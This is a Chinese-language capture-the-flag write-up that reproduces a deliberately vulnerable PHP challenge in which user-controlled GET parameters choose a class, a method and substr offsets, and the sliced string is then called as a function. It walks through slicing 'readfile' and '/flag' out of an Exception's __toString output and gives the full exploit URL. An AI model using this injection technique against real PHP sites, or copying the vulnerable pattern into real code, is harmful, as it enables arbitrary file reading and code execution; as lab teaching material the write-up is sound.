PHP Exception CTF题目
2022-11-22 09:7:47 Author: HACK安全(查看原文) 阅读量:17 收藏

扫一扫关注公众号,长期致力于安全研究

前言:这是前段时间打的一场比赛

0x01 解题思路

首先代码如下,关键点就在于这几行。其实就是通过substr来截取字符串并在最后一行当做函数来调用

$class = new $a($b);

$str1 = substr($class->$c(),$d,$e);

$str2 = substr($class->$c(),$f,$g);

$str1($str2);

<?php
error_reporting(0);show_source(__FILE__);
Class Hello{
public $filename; public $contents;
public function __construct(){ $this->filename = "hint.php"; $this->contents = "you guess"; }
public function fileread(){ echo "keep going"; }}
$a = $_GET["a"];$b = $_GET["b"];$c = $_GET["c"];$d = $_GET["d"];$e = $_GET["e"];$f = $_GET["f"];$g = $_GET["g"];
if(preg_match("/Error|ArrayIterator|Exception/i", $c)) { die("hello");}
$class = new $a($b);$str1 = substr($class->$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);?>

那需要截取什么字符串呢?这里就使用Exception中的_toString方法来回显信息,因为在34行中有substr来切割字符串、

本地通过print打印出现了回显,而Exception: 则是起始位置,readfile是8个位置,所以

$str1 = substr($class->$c(),$d,$e);的d是11 e是8,这样就截取到了readfile这个字符串

所以现在的坐标是19

$str2 = substr($class->$c(),$f,$g);  f则为19,g是/flag的长度为5

现在$str1为readfile $str2为

http://xxxxx/?a=Exception&b=readfile/flag&c=__toString&d=11&e=8&f=19&g=5

这样flag就出来了

~.~


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247486680&idx=1&sn=5c4c71459e9214802978a9ce82617d5f&chksm=ce480469f93f8d7fdd69fc0d1d13266cadde58b51a251369f0c8d2879efa9ccec2c0e0c4b1a4#rd
如有侵权请联系:admin#unsafe.sh